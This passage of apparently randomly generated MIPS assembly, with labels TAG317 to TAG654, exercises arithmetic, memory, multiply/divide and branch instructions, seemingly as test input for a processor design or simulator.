mfhi $3
sltu $3, $2, $3
TAG317:
sb $3, 0($3)
bgez $3, TAG318
lh $1, 0($3)
multu $3, $3
TAG318:
bne $1, $1, TAG319
sw $1, 0($1)
bne $1, $1, TAG319
mtlo $1
TAG319:
sb $1, 0($1)
lhu $1, 0($1)
multu $1, $1
lui $1, 4
TAG320:
sll $0, $0, 0
sll $0, $0, 0
mfhi $3
bltz $1, TAG321
TAG321:
sb $3, 0($3)
multu $3, $3
mtlo $3
lui $2, 11
TAG322:
mfhi $3
mtlo $3
bgtz $3, TAG323
sra $2, $3, 2
TAG323:
mflo $2
mfhi $2
mtlo $2
lb $3, 0($2)
TAG324:
multu $3, $3
sltu $1, $3, $3
sltu $2, $1, $3
or $2, $3, $1
TAG325:
bgtz $2, TAG326
lui $3, 9
blez $2, TAG326
add $2, $2, $2
TAG326:
bltz $2, TAG327
mflo $3
multu $2, $3
addi $1, $2, 13
TAG327:
blez $1, TAG328
mfhi $3
lbu $4, 0($3)
lh $2, 0($3)
TAG328:
mflo $3
xori $2, $2, 7
xori $2, $2, 15
mult $2, $3
TAG329:
mflo $1
addu $3, $2, $2
mult $2, $1
div $2, $2
TAG330:
addiu $4, $3, 10
lh $4, 0($3)
multu $3, $3
lui $4, 10
TAG331:
bne $4, $4, TAG332
mtlo $4
srlv $1, $4, $4
lui $4, 8
TAG332:
lui $1, 0
multu $1, $4
beq $4, $1, TAG333
sll $0, $0, 0
TAG333:
sra $2, $1, 6
srl $1, $1, 12
beq $2, $2, TAG334
lb $2, 0($1)
TAG334:
sllv $4, $2, $2
sltiu $1, $4, 3
mult $4, $2
lw $2, 0($4)
TAG335:
bne $2, $2, TAG336
multu $2, $2
mtlo $2
lui $3, 11
TAG336:
sll $0, $0, 0
mult $3, $1
sra $1, $1, 15
mult $3, $1
TAG337:
andi $4, $1, 7
subu $1, $4, $4
mflo $2
sw $4, 0($2)
TAG338:
beq $2, $2, TAG339
xor $2, $2, $2
mfhi $2
ori $3, $2, 5
TAG339:
mfhi $2
addu $1, $3, $2
sll $0, $0, 0
bltz $2, TAG340
TAG340:
mtlo $3
sll $0, $0, 0
sll $0, $0, 0
addiu $3, $3, 10
TAG341:
mfhi $2
mfhi $3
addu $3, $2, $3
sltu $1, $2, $3
TAG342:
beq $1, $1, TAG343
sw $1, 0($1)
mthi $1
mtlo $1
TAG343:
mfhi $4
sw $1, 0($4)
bgez $4, TAG344
mult $1, $4
TAG344:
mflo $3
sltu $3, $3, $3
bgtz $3, TAG345
lbu $2, 0($3)
TAG345:
mult $2, $2
lw $3, 0($2)
addu $3, $3, $2
mtlo $3
TAG346:
lui $4, 5
bne $4, $3, TAG347
mtlo $3
lh $1, 0($3)
TAG347:
mflo $3
mtlo $3
mthi $3
bltz $1, TAG348
TAG348:
mthi $3
mflo $4
sll $1, $3, 13
lui $4, 4
TAG349:
sltu $4, $4, $4
bgtz $4, TAG350
addiu $2, $4, 2
mflo $4
TAG350:
sltiu $2, $4, 9
beq $2, $4, TAG351
divu $4, $2
multu $4, $4
TAG351:
subu $3, $2, $2
bne $3, $2, TAG352
addiu $1, $2, 6
sw $2, 0($1)
TAG352:
sltu $2, $1, $1
bne $1, $2, TAG353
mfhi $4
mtlo $2
TAG353:
bltz $4, TAG354
addi $4, $4, 15
lui $1, 8
mflo $2
TAG354:
mtlo $2
mult $2, $2
mflo $2
multu $2, $2
TAG355:
mthi $2
bltz $2, TAG356
mfhi $1
mfhi $2
TAG356:
sw $2, 0($2)
lw $3, 0($2)
bltz $3, TAG357
mthi $3
TAG357:
slt $4, $3, $3
bne $3, $4, TAG358
or $4, $4, $3
lh $2, 0($3)
TAG358:
multu $2, $2
andi $3, $2, 5
bgez $3, TAG359
addi $3, $2, 12
TAG359:
sb $3, 0($3)
andi $2, $3, 13
nor $1, $2, $2
ori $3, $2, 10
TAG360:
div $3, $3
sh $3, 0($3)
slti $4, $3, 1
mult $4, $4
TAG361:
lui $1, 11
div $4, $1
sh $4, 0($4)
multu $1, $1
TAG362:
bgtz $1, TAG363
mult $1, $1
beq $1, $1, TAG363
lbu $4, 0($1)
TAG363:
multu $4, $4
lhu $3, 0($4)
bne $3, $4, TAG364
sb $4, 0($4)
TAG364:
sra $3, $3, 14
beq $3, $3, TAG365
srav $3, $3, $3
lui $3, 4
TAG365:
multu $3, $3
mult $3, $3
srav $1, $3, $3
lh $4, 0($1)
TAG366:
beq $4, $4, TAG367
lui $2, 3
mthi $2
bne $4, $2, TAG367
TAG367:
lui $2, 14
beq $2, $2, TAG368
mfhi $4
multu $2, $4
TAG368:
bgez $4, TAG369
srav $3, $4, $4
lh $2, 0($4)
mfhi $1
TAG369:
slt $1, $1, $1
mflo $2
bgez $2, TAG370
mfhi $2
TAG370:
lui $4, 5
sll $0, $0, 0
lui $4, 7
mfhi $2
TAG371:
sb $2, 0($2)
multu $2, $2
multu $2, $2
beq $2, $2, TAG372
TAG372:
mtlo $2
srl $2, $2, 6
multu $2, $2
bgez $2, TAG373
TAG373:
nor $3, $2, $2
bgez $2, TAG374
lui $1, 3
mfhi $2
TAG374:
mtlo $2
lw $4, 0($2)
sw $4, 0($4)
blez $4, TAG375
TAG375:
srl $3, $4, 15
srl $3, $3, 0
mflo $3
sb $3, 0($3)
TAG376:
add $3, $3, $3
bne $3, $3, TAG377
mfhi $2
bne $3, $3, TAG377
TAG377:
mthi $2
srl $2, $2, 13
lbu $3, 0($2)
sw $3, 0($2)
TAG378:
blez $3, TAG379
sb $3, 0($3)
srav $2, $3, $3
mflo $3
TAG379:
mthi $3
mult $3, $3
sllv $2, $3, $3
multu $2, $2
TAG380:
mfhi $2
bgtz $2, TAG381
mfhi $2
sllv $2, $2, $2
TAG381:
sw $2, 0($2)
mult $2, $2
andi $4, $2, 9
lhu $4, 0($4)
TAG382:
sltiu $2, $4, 2
mthi $2
mfhi $2
blez $4, TAG383
TAG383:
mtlo $2
lui $1, 2
lbu $3, 0($2)
lui $3, 0
TAG384:
addiu $1, $3, 15
multu $1, $3
addu $4, $1, $3
lui $3, 0
TAG385:
mflo $1
mflo $4
bgez $3, TAG386
srl $1, $3, 5
TAG386:
lui $4, 9
mfhi $4
mthi $4
lui $2, 7
TAG387:
lui $1, 6
slti $1, $2, 14
subu $1, $2, $2
bgez $1, TAG388
TAG388:
lui $2, 10
lui $4, 13
bne $1, $2, TAG389
lui $1, 1
TAG389:
bne $1, $1, TAG390
mfhi $3
sll $0, $0, 0
mfhi $4
TAG390:
sw $4, 0($4)
mflo $1
sll $1, $1, 15
bltz $1, TAG391
TAG391:
sra $3, $1, 14
multu $1, $1
sw $1, 0($1)
lb $4, 0($1)
TAG392:
beq $4, $4, TAG393
or $2, $4, $4
and $4, $4, $2
bgtz $4, TAG393
TAG393:
andi $3, $4, 10
lhu $2, 0($4)
multu $2, $2
sh $2, 0($4)
TAG394:
lbu $4, 0($2)
srl $1, $2, 11
lui $4, 7
addu $4, $4, $1
TAG395:
subu $1, $4, $4
sra $2, $4, 0
slt $3, $1, $2
bgez $1, TAG396
TAG396:
ori $1, $3, 0
or $1, $1, $3
mthi $3
bne $1, $1, TAG397
TAG397:
lui $4, 14
beq $1, $4, TAG398
sll $1, $1, 7
beq $1, $4, TAG398
TAG398:
mflo $2
multu $2, $1
multu $2, $1
addu $1, $2, $2
TAG399:
xor $2, $1, $1
lui $2, 1
blez $2, TAG400
sll $0, $0, 0
TAG400:
lui $1, 2
mtlo $2
mthi $1
multu $2, $2
TAG401:
bne $1, $1, TAG402
nor $3, $1, $1
mfhi $3
mult $3, $3
TAG402:
mfhi $1
lui $2, 7
beq $3, $2, TAG403
sll $0, $0, 0
TAG403:
mtlo $2
sll $0, $0, 0
bne $2, $2, TAG404
mthi $2
TAG404:
mult $2, $2
multu $2, $2
sll $0, $0, 0
mfhi $3
TAG405:
sll $3, $3, 4
bne $3, $3, TAG406
lh $2, -784($3)
multu $3, $3
TAG406:
sw $2, 0($2)
lui $1, 6
mthi $2
mtlo $1
TAG407:
sll $0, $0, 0
beq $1, $1, TAG408
srl $2, $4, 11
sll $3, $1, 0
TAG408:
mflo $1
lui $1, 9
lui $1, 12
sll $0, $0, 0
TAG409:
sw $3, -784($3)
mfhi $3
beq $3, $3, TAG410
srav $2, $3, $3
TAG410:
lui $4, 11
mflo $4
mfhi $1
lui $3, 13
TAG411:
beq $3, $3, TAG412
mtlo $3
divu $3, $3
srav $1, $3, $3
TAG412:
srlv $1, $1, $1
sb $1, 0($1)
mfhi $2
lb $1, 0($1)
TAG413:
beq $1, $1, TAG414
add $2, $1, $1
sb $1, 0($1)
beq $2, $1, TAG414
TAG414:
subu $2, $2, $2
mult $2, $2
bne $2, $2, TAG415
lui $1, 13
TAG415:
mtlo $1
sll $0, $0, 0
mflo $4
lui $2, 13
TAG416:
sltu $1, $2, $2
mfhi $2
bne $2, $2, TAG417
lb $1, 0($2)
TAG417:
srl $1, $1, 2
sh $1, 0($1)
and $1, $1, $1
subu $1, $1, $1
TAG418:
lui $4, 7
lui $1, 13
and $4, $1, $4
sll $0, $0, 0
TAG419:
or $3, $4, $4
bltz $3, TAG420
lui $1, 2
blez $1, TAG420
TAG420:
mfhi $2
srav $1, $1, $1
sll $0, $0, 0
andi $1, $1, 2
TAG421:
bne $1, $1, TAG422
sltiu $4, $1, 11
sll $3, $1, 4
mfhi $1
TAG422:
mtlo $1
bgez $1, TAG423
subu $3, $1, $1
mthi $3
TAG423:
slti $2, $3, 14
sb $2, 0($2)
lui $1, 0
mtlo $3
TAG424:
mflo $4
and $2, $4, $4
mult $4, $2
mtlo $2
TAG425:
mtlo $2
sllv $4, $2, $2
lui $3, 3
blez $2, TAG426
TAG426:
multu $3, $3
bgez $3, TAG427
sra $1, $3, 10
mult $1, $3
TAG427:
sll $0, $0, 0
bne $1, $1, TAG428
sra $2, $2, 2
bltz $2, TAG428
TAG428:
srl $3, $2, 7
or $2, $2, $3
sw $2, 0($2)
mult $2, $2
TAG429:
srl $3, $2, 13
sra $1, $3, 6
mflo $4
lui $1, 13
TAG430:
addiu $2, $1, 10
mthi $1
mflo $1
bne $1, $2, TAG431
TAG431:
mflo $4
slt $1, $1, $4
lbu $3, 0($1)
lb $1, 0($4)
TAG432:
bltz $1, TAG433
lw $3, 0($1)
sh $1, 0($3)
or $4, $3, $3
TAG433:
mtlo $4
lhu $2, 0($4)
bne $2, $2, TAG434
lbu $1, 0($4)
TAG434:
lhu $1, 0($1)
mfhi $4
lui $4, 6
mtlo $4
TAG435:
sltiu $3, $4, 3
sltiu $3, $4, 8
ori $4, $3, 14
mthi $4
TAG436:
mflo $1
blez $1, TAG437
addu $1, $4, $1
lui $3, 2
TAG437:
xori $3, $3, 14
divu $3, $3
multu $3, $3
sll $0, $0, 0
TAG438:
addu $3, $3, $3
div $3, $3
mthi $3
sll $0, $0, 0
TAG439:
lhu $4, 0($2)
srav $4, $4, $4
lbu $3, 0($4)
xor $1, $4, $2
TAG440:
bne $1, $1, TAG441
lui $4, 7
sb $4, 0($1)
mfhi $3
TAG441:
addiu $2, $3, 9
divu $2, $3
srlv $3, $2, $2
beq $2, $3, TAG442
TAG442:
lui $2, 5
lui $1, 4
mthi $1
multu $1, $2
TAG443:
sll $0, $0, 0
divu $4, $1
sll $0, $0, 0
mtlo $4
TAG444:
xor $2, $4, $4
mflo $3
sll $0, $0, 0
lw $4, 0($2)
TAG445:
lui $3, 8
mflo $4
sll $0, $0, 0
lui $4, 10
TAG446:
sltu $1, $4, $4
sll $0, $0, 0
lui $4, 13
lb $2, 0($1)
TAG447:
sw $2, 0($2)
sb $2, 0($2)
sltiu $1, $2, 14
sb $1, 0($2)
TAG448:
sra $3, $1, 3
mtlo $3
bgtz $3, TAG449
mflo $1
TAG449:
sh $1, 0($1)
beq $1, $1, TAG450
mtlo $1
beq $1, $1, TAG450
TAG450:
slt $2, $1, $1
bgez $1, TAG451
andi $2, $1, 11
srl $2, $1, 7
TAG451:
lui $4, 5
beq $2, $4, TAG452
sll $0, $0, 0
bne $2, $2, TAG452
TAG452:
srav $1, $4, $4
mult $4, $1
bne $4, $4, TAG453
srlv $4, $4, $1
TAG453:
sll $0, $0, 0
lui $3, 15
blez $4, TAG454
mfhi $1
TAG454:
addiu $3, $1, 13
mtlo $1
addu $4, $3, $3
sltu $1, $4, $4
TAG455:
multu $1, $1
beq $1, $1, TAG456
and $1, $1, $1
mfhi $2
TAG456:
sh $2, 0($2)
mthi $2
mtlo $2
mthi $2
TAG457:
srl $1, $2, 7
beq $1, $1, TAG458
lui $1, 4
andi $3, $1, 10
TAG458:
lh $2, 0($3)
lui $3, 0
mfhi $4
sb $2, 0($2)
TAG459:
multu $4, $4
lhu $3, 0($4)
blez $3, TAG460
sra $2, $3, 5
TAG460:
lui $2, 14
bgez $2, TAG461
lui $1, 4
mtlo $2
TAG461:
beq $1, $1, TAG462
mflo $3
lui $2, 2
bne $3, $2, TAG462
TAG462:
slti $3, $2, 0
lui $3, 14
lui $4, 12
sll $0, $0, 0
TAG463:
xor $4, $1, $1
sll $0, $0, 0
slti $3, $4, 3
mthi $3
TAG464:
mflo $3
beq $3, $3, TAG465
andi $3, $3, 3
div $3, $3
TAG465:
mfhi $4
mfhi $1
mtlo $3
sll $1, $1, 11
TAG466:
srl $3, $1, 5
xori $3, $3, 11
mthi $3
div $3, $3
TAG467:
mthi $3
mult $3, $3
sb $3, 0($3)
lb $4, 0($3)
TAG468:
mfhi $1
sb $1, 0($4)
xori $3, $4, 7
mflo $4
TAG469:
mfhi $3
blez $3, TAG470
slt $1, $4, $3
mflo $3
TAG470:
multu $3, $3
srlv $1, $3, $3
andi $2, $3, 12
mfhi $1
TAG471:
mflo $3
mfhi $4
or $3, $4, $1
bne $3, $1, TAG472
TAG472:
lui $2, 5
beq $3, $2, TAG473
lui $1, 10
bgtz $3, TAG473
TAG473:
srl $2, $1, 12
lui $2, 8
bgez $1, TAG474
sll $0, $0, 0
TAG474:
bne $2, $2, TAG475
lui $3, 13
sll $0, $0, 0
beq $3, $3, TAG475
TAG475:
mfhi $2
lui $1, 4
bne $1, $3, TAG476
divu $1, $3
TAG476:
mtlo $1
sll $0, $0, 0
lui $1, 12
xor $3, $1, $1
TAG477:
sb $3, 0($3)
mtlo $3
blez $3, TAG478
sb $3, 0($3)
TAG478:
andi $3, $3, 13
mflo $4
sh $3, 0($3)
mthi $3
TAG479:
mfhi $4
lui $3, 2
mtlo $4
mfhi $2
TAG480:
sh $2, 0($2)
multu $2, $2
mfhi $2
blez $2, TAG481
TAG481:
lui $1, 2
sll $0, $0, 0
sll $0, $0, 0
sll $0, $0, 0
TAG482:
sll $0, $0, 0
sll $0, $0, 0
lhu $3, 0($4)
srav $1, $4, $3
TAG483:
mflo $4
mult $1, $4
addiu $2, $1, 1
bltz $4, TAG484
TAG484:
mflo $3
lui $3, 6
mult $3, $3
bltz $3, TAG485
TAG485:
mflo $1
blez $1, TAG486
lui $4, 8
div $1, $1
TAG486:
mtlo $4
mult $4, $4
mult $4, $4
sll $0, $0, 0
TAG487:
xori $4, $4, 7
xori $1, $4, 0
sll $0, $0, 0
beq $4, $4, TAG488
TAG488:
sll $0, $0, 0
divu $1, $1
lui $2, 8
div $1, $2
TAG489:
bgez $2, TAG490
mult $2, $2
sw $2, 0($2)
srav $3, $2, $2
TAG490:
sll $0, $0, 0
blez $3, TAG491
mfhi $4
and $3, $3, $4
TAG491:
bne $3, $3, TAG492
sw $3, 0($3)
bne $3, $3, TAG492
lbu $2, 0($3)
TAG492:
mflo $4
and $2, $2, $4
sltu $3, $2, $2
bne $2, $3, TAG493
TAG493:
lb $4, 0($3)
bne $3, $4, TAG494
mflo $3
beq $3, $3, TAG494
TAG494:
lbu $1, 0($3)
bltz $1, TAG495
addi $4, $3, 14
bgtz $4, TAG495
TAG495:
mtlo $4
mflo $3
sh $3, 0($3)
lui $2, 3
TAG496:
div $2, $2
sll $0, $0, 0
multu $2, $2
multu $2, $2
TAG497:
mthi $2
bgez $2, TAG498
sll $0, $0, 0
lbu $3, 0($2)
TAG498:
sh $3, 0($3)
lui $2, 0
lb $3, 0($3)
lhu $3, 0($3)
TAG499:
mtlo $3
bgtz $3, TAG500
sh $3, 0($3)
sh $3, 0($3)
TAG500:
bne $3, $3, TAG501
mtlo $3
mfhi $2
lh $3, 0($3)
TAG501:
sh $3, 0($3)
mthi $3
mflo $2
lui $1, 12
TAG502:
sll $0, $0, 0
sltu $3, $1, $1
lui $1, 12
sh $1, 0($3)
TAG503:
multu $1, $1
sll $0, $0, 0
mfhi $1
bltz $3, TAG504
TAG504:
mfhi $1
addiu $4, $1, 10
sw $4, -144($1)
lb $3, -144($1)
TAG505:
lui $4, 14
sll $0, $0, 0
sltu $2, $2, $2
xori $1, $3, 12
TAG506:
sh $1, 106($1)
addiu $3, $1, 7
blez $3, TAG507
sw $3, 106($1)
TAG507:
bne $3, $3, TAG508
slti $4, $3, 8
mfhi $3
beq $4, $3, TAG508
TAG508:
addiu $1, $3, 4
lui $4, 6
bgez $3, TAG509
mflo $4
TAG509:
mult $4, $4
mflo $1
sh $4, 0($1)
mflo $4
TAG510:
beq $4, $4, TAG511
mfhi $4
div $4, $4
sh $4, 0($4)
TAG511:
blez $4, TAG512
or $1, $4, $4
lui $3, 12
mfhi $3
TAG512:
bne $3, $3, TAG513
mfhi $2
lhu $4, 0($2)
lui $4, 11
TAG513:
sll $0, $0, 0
sll $0, $0, 0
sll $0, $0, 0
mfhi $2
TAG514:
sw $2, 0($2)
mthi $2
lui $3, 5
mtlo $2
TAG515:
srav $2, $3, $3
lui $4, 11
mult $2, $4
divu $4, $2
TAG516:
srav $2, $4, $4
sll $0, $0, 0
srl $4, $2, 7
mfhi $1
TAG517:
mflo $3
mfhi $1
xor $2, $3, $1
sll $0, $0, 0
TAG518:
beq $3, $3, TAG519
lui $4, 7
mflo $3
lb $1, 0($3)
TAG519:
mflo $4
mtlo $4
lbu $4, 0($4)
mthi $1
TAG520:
srlv $3, $4, $4
mult $4, $3
mult $3, $4
sw $3, 0($4)
TAG521:
mflo $1
mtlo $1
mthi $1
lh $3, 0($3)
TAG522:
sh $3, 0($3)
sw $3, 0($3)
mfhi $4
lui $4, 5
TAG523:
beq $4, $4, TAG524
div $4, $4
bgez $4, TAG524
mfhi $4
TAG524:
mtlo $4
mthi $4
sll $0, $0, 0
beq $4, $4, TAG525
TAG525:
lui $4, 12
mtlo $4
multu $4, $4
sll $0, $0, 0
TAG526:
mtlo $4
bltz $4, TAG527
mflo $4
xori $2, $4, 5
TAG527:
div $2, $2
mtlo $2
mfhi $1
divu $1, $2
TAG528:
mtlo $1
bgez $1, TAG529
mult $1, $1
sub $2, $1, $1
TAG529:
sll $0, $0, 0
sltiu $4, $2, 15
or $3, $2, $4
mflo $2
TAG530:
beq $2, $2, TAG531
lb $3, 0($2)
sh $2, 0($3)
divu $2, $2
TAG531:
multu $3, $3
lui $3, 2
bgez $3, TAG532
andi $4, $3, 7
TAG532:
lw $3, 0($4)
srl $2, $4, 2
blez $3, TAG533
mtlo $2
TAG533:
bgez $2, TAG534
sh $2, 0($2)
mflo $2
mult $2, $2
TAG534:
multu $2, $2
lh $3, 0($2)
sh $2, 0($2)
multu $2, $2
TAG535:
mtlo $3
lhu $2, 0($3)
lb $4, 0($2)
bne $2, $3, TAG536
TAG536:
lui $2, 9
bne $4, $4, TAG537
mflo $1
lui $4, 2
TAG537:
beq $4, $4, TAG538
sll $0, $0, 0
sh $4, 0($4)
sh $4, 0($4)
TAG538:
sll $0, $0, 0
lui $1, 10
mtlo $1
mthi $1
TAG539:
mtlo $1
sll $0, $0, 0
divu $1, $1
mfhi $4
TAG540:
addi $4, $4, 5
sb $4, 0($4)
sb $4, 0($4)
andi $2, $4, 9
TAG541:
lb $4, 0($2)
mthi $2
srlv $1, $2, $4
sb $4, 0($1)
TAG542:
sb $1, 0($1)
lb $4, 0($1)
beq $1, $4, TAG543
mult $4, $1
TAG543:
bgtz $4, TAG544
mfhi $2
mtlo $2
slti $3, $2, 15
TAG544:
bgtz $3, TAG545
mtlo $3
mtlo $3
mfhi $4
TAG545:
mult $4, $4
lhu $4, 0($4)
and $3, $4, $4
lui $2, 12
TAG546:
sll $0, $0, 0
lui $1, 10
mthi $1
mflo $4
TAG547:
bgtz $4, TAG548
lui $3, 14
lui $2, 12
bltz $3, TAG548
TAG548:
mthi $2
bne $2, $2, TAG549
mthi $2
lui $4, 13
TAG549:
multu $4, $4
divu $4, $4
sllv $1, $4, $4
mult $4, $1
TAG550:
lui $3, 5
or $1, $3, $1
bne $1, $1, TAG551
nor $1, $1, $3
TAG551:
beq $1, $1, TAG552
sltiu $2, $1, 10
sb $2, 0($2)
mfhi $1
TAG552:
beq $1, $1, TAG553
div $1, $1
lui $4, 14
bne $4, $1, TAG553
TAG553:
sll $0, $0, 0
xori $1, $1, 11
sll $4, $1, 9
mthi $4
TAG554:
mtlo $4
multu $4, $4
mflo $3
lui $4, 14
TAG555:
sltu $3, $4, $4
sb $3, 0($3)
mtlo $4
sltu $2, $3, $4
TAG556:
slti $4, $2, 3
bne $2, $4, TAG557
div $2, $2
sb $4, 0($2)
TAG557:
bne $4, $4, TAG558
lui $3, 12
multu $4, $4
blez $3, TAG558
TAG558:
andi $4, $3, 6
sll $0, $0, 0
sll $0, $0, 0
bltz $3, TAG559
TAG559:
lui $4, 7
sltu $2, $4, $3
mflo $4
lb $2, 0($4)
TAG560:
sb $2, 0($2)
bgtz $2, TAG561
sb $2, 0($2)
andi $2, $2, 11
TAG561:
beq $2, $2, TAG562
mthi $2
lh $4, 0($2)
lui $2, 15
TAG562:
ori $2, $2, 6
sb $2, 0($2)
lb $1, 0($2)
or $2, $2, $1
TAG563:
lbu $2, 0($2)
lb $2, 0($2)
lui $3, 0
nor $1, $2, $2
TAG564:
blez $1, TAG565
mthi $1
blez $1, TAG565
multu $1, $1
TAG565:
ori $4, $1, 2
sw $1, 6($4)
mult $4, $1
subu $2, $4, $1
TAG566:
sb $2, 0($2)
mfhi $2
lh $4, 0($2)
lui $4, 9
TAG567:
mfhi $2
sll $0, $0, 0
sra $1, $2, 5
mult $2, $1
TAG568:
beq $1, $1, TAG569
addi $1, $1, 0
mthi $1
lui $2, 1
TAG569:
add $1, $2, $2
mflo $2
mfhi $2
mthi $2
TAG570:
multu $2, $2
ori $2, $2, 10
mtlo $2
multu $2, $2
TAG571:
slt $1, $2, $2
bltz $1, TAG572
srl $2, $2, 5
lui $1, 14
TAG572:
mult $1, $1
bne $1, $1, TAG573
div $1, $1
sll $0, $0, 0
TAG573:
lui $3, 6
sll $0, $0, 0
slti $3, $4, 7
beq $3, $4, TAG574
TAG574:
mtlo $3
sll $2, $3, 14
beq $3, $2, TAG575
lui $2, 2
TAG575:
mtlo $2
blez $2, TAG576
mfhi $3
sltiu $3, $3, 14
TAG576:
lui $3, 7
bgtz $3, TAG577
lui $2, 9
mthi $3
TAG577:
sltu $2, $2, $2
or $1, $2, $2
bgez $2, TAG578
mfhi $1
TAG578:
bgez $1, TAG579
sb $1, 0($1)
slt $1, $1, $1
xori $2, $1, 12
TAG579:
mult $2, $2
mfhi $1
sw $1, 0($1)
lui $2, 12
TAG580:
blez $2, TAG581
lui $3, 11
and $4, $3, $2
sll $0, $0, 0
TAG581:
mfhi $1
bne $1, $4, TAG582
mtlo $1
lw $1, 0($1)
TAG582:
sw $1, 0($1)
lui $1, 13
sll $0, $0, 0
addiu $3, $4, 8
TAG583:
multu $3, $3
divu $3, $3
mfhi $4
lb $3, 0($4)
TAG584:
blez $3, TAG585
lbu $1, 0($3)
bgtz $1, TAG585
lui $2, 5
TAG585:
mthi $2
sll $0, $0, 0
mtlo $1
multu $2, $1
TAG586:
multu $1, $1
sb $1, 0($1)
xor $1, $1, $1
bltz $1, TAG587
TAG587:
sw $1, 0($1)
lui $4, 3
lui $3, 11
slt $2, $1, $4
TAG588:
bne $2, $2, TAG589
sll $4, $2, 6
bgtz $4, TAG589
lui $2, 12
TAG589:
sll $0, $0, 0
mfhi $2
mfhi $3
multu $3, $2
TAG590:
mfhi $4
sw $4, 0($3)
bgez $4, TAG591
ori $1, $3, 3
TAG591:
andi $1, $1, 10
subu $1, $1, $1
mflo $1
bne $1, $1, TAG592
TAG592:
sb $1, 0($1)
lh $4, 0($1)
sw $1, 0($1)
addiu $2, $4, 6
TAG593:
mfhi $3
bne $2, $3, TAG594
multu $2, $2
mtlo $3
TAG594:
lui $1, 10
lb $2, 0($3)
xor $3, $3, $3
sb $1, 0($2)
TAG595:
subu $2, $3, $3
bltz $3, TAG596
mthi $2
mult $2, $2
TAG596:
xor $4, $2, $2
addu $3, $2, $2
srav $4, $2, $3
lui $2, 14
TAG597:
bgez $2, TAG598
sll $0, $0, 0
beq $2, $2, TAG598
mflo $3
TAG598:
mult $3, $3
bltz $3, TAG599
sb $3, 0($3)
bne $3, $3, TAG599
TAG599:
mfhi $1
blez $3, TAG600
sw $3, 0($1)
lh $4, 0($1)
TAG600:
srav $2, $4, $4
bltz $2, TAG601
mfhi $3
mthi $4
TAG601:
mthi $3
blez $3, TAG602
sra $1, $3, 1
addu $1, $1, $3
TAG602:
sh $1, 0($1)
sub $3, $1, $1
mthi $3
bne $3, $1, TAG603
TAG603:
mthi $3
mtlo $3
srl $1, $3, 4
lui $4, 1
TAG604:
bgtz $4, TAG605
mult $4, $4
lui $2, 11
sw $2, 0($4)
TAG605:
mult $2, $2
mthi $2
sw $2, 0($2)
multu $2, $2
TAG606:
blez $2, TAG607
sw $2, 0($2)
sllv $1, $2, $2
sra $2, $1, 8
TAG607:
blez $2, TAG608
sh $2, 0($2)
mfhi $2
addu $4, $2, $2
TAG608:
bgtz $4, TAG609
mult $4, $4
mtlo $4
div $4, $4
TAG609:
mult $4, $4
mtlo $4
lui $2, 12
lui $3, 2
TAG610:
sll $0, $0, 0
beq $3, $3, TAG611
div $3, $3
beq $3, $3, TAG611
TAG611:
mflo $1
mtlo $3
lb $4, 0($1)
bgez $4, TAG612
TAG612:
mthi $4
sw $4, 0($4)
mult $4, $4
mflo $3
TAG613:
multu $3, $3
mflo $3
sw $3, 0($3)
srlv $1, $3, $3
TAG614:
bne $1, $1, TAG615
mfhi $3
mtlo $1
multu $3, $1
TAG615:
lh $4, 0($3)
beq $4, $3, TAG616
mflo $1
lw $1, 0($3)
TAG616:
sll $4, $1, 11
lui $2, 2
beq $2, $4, TAG617
sll $0, $0, 0
TAG617:
mult $2, $2
mult $2, $2
mult $2, $2
divu $2, $2
TAG618:
mtlo $2
sll $0, $0, 0
sltiu $3, $2, 1
xori $4, $3, 15
TAG619:
lb $1, 0($4)
mthi $4
multu $4, $4
bgtz $4, TAG620
TAG620:
mflo $3
multu $1, $1
slti $1, $1, 4
sb $3, 0($1)
TAG621:
sb $1, 0($1)
mflo $3
mult $3, $3
mflo $2
TAG622:
lui $2, 12
sll $0, $0, 0
lui $3, 1
mfhi $3
TAG623:
mflo $1
mfhi $4
mult $4, $4
mult $1, $1
TAG624:
mtlo $4
multu $4, $4
srl $3, $4, 3
and $1, $3, $3
TAG625:
mult $1, $1
mult $1, $1
lui $1, 10
beq $1, $1, TAG626
TAG626:
sll $0, $0, 0
sll $0, $0, 0
bltz $1, TAG627
sll $0, $0, 0
TAG627:
sll $0, $0, 0
divu $2, $2
lui $1, 14
sll $0, $0, 0
TAG628:
sll $0, $0, 0
sll $0, $0, 0
mthi $1
bne $1, $1, TAG629
TAG629:
sll $0, $0, 0
bgtz $1, TAG630
mfhi $4
bne $1, $1, TAG630
TAG630:
sll $0, $0, 0
lui $2, 4
andi $1, $2, 8
mult $1, $2
TAG631:
multu $1, $1
sb $1, 0($1)
multu $1, $1
mthi $1
TAG632:
mtlo $1
srlv $3, $1, $1
sw $1, 0($1)
mflo $1
TAG633:
mfhi $4
blez $1, TAG634
addu $3, $1, $1
beq $3, $1, TAG634
TAG634:
ori $3, $3, 8
beq $3, $3, TAG635
lw $2, 0($3)
sh $3, 0($2)
TAG635:
mthi $2
lb $4, 0($2)
sltu $1, $2, $4
addiu $4, $2, 6
TAG636:
multu $4, $4
beq $4, $4, TAG637
lui $1, 10
bltz $1, TAG637
TAG637:
mult $1, $1
mfhi $4
lb $2, 0($4)
bgez $2, TAG638
TAG638:
mult $2, $2
bne $2, $2, TAG639
lbu $2, 0($2)
div $2, $2
TAG639:
mfhi $1
lui $3, 14
sll $2, $2, 1
lh $1, 0($2)
TAG640:
lbu $4, 0($1)
bgez $4, TAG641
sb $4, 0($1)
lb $4, 0($1)
TAG641:
lbu $3, 0($4)
addu $4, $4, $3
srl $4, $3, 9
lui $1, 1
TAG642:
sll $0, $0, 0
lui $1, 12
andi $4, $1, 13
lui $3, 8
TAG643:
div $3, $3
sll $0, $0, 0
sll $0, $0, 0
multu $2, $2
TAG644:
beq $2, $2, TAG645
mtlo $2
div $2, $2
bgez $2, TAG645
TAG645:
or $4, $2, $2
lui $4, 8
sll $0, $0, 0
div $4, $3
TAG646:
divu $3, $3
lui $1, 8
lui $2, 12
andi $1, $3, 1
TAG647:
mflo $3
sll $4, $3, 15
sllv $4, $1, $3
sw $4, 0($4)
TAG648:
sra $4, $4, 2
sb $4, 0($4)
or $3, $4, $4
srlv $3, $4, $4
TAG649:
addiu $3, $3, 10
beq $3, $3, TAG650
sh $3, 0($3)
blez $3, TAG650
TAG650:
and $2, $3, $3
div $2, $3
bne $2, $2, TAG651
nor $1, $2, $2
TAG651:
sw $1, 11($1)
lbu $1, 11($1)
subu $3, $1, $1
divu $1, $1
TAG652:
srl $1, $3, 7
bgtz $3, TAG653
mtlo $1
beq $1, $3, TAG653
TAG653:
and $1, $1, $1
and $3, $1, $1
addi $1, $3, 14
lui $1, 7
TAG654:
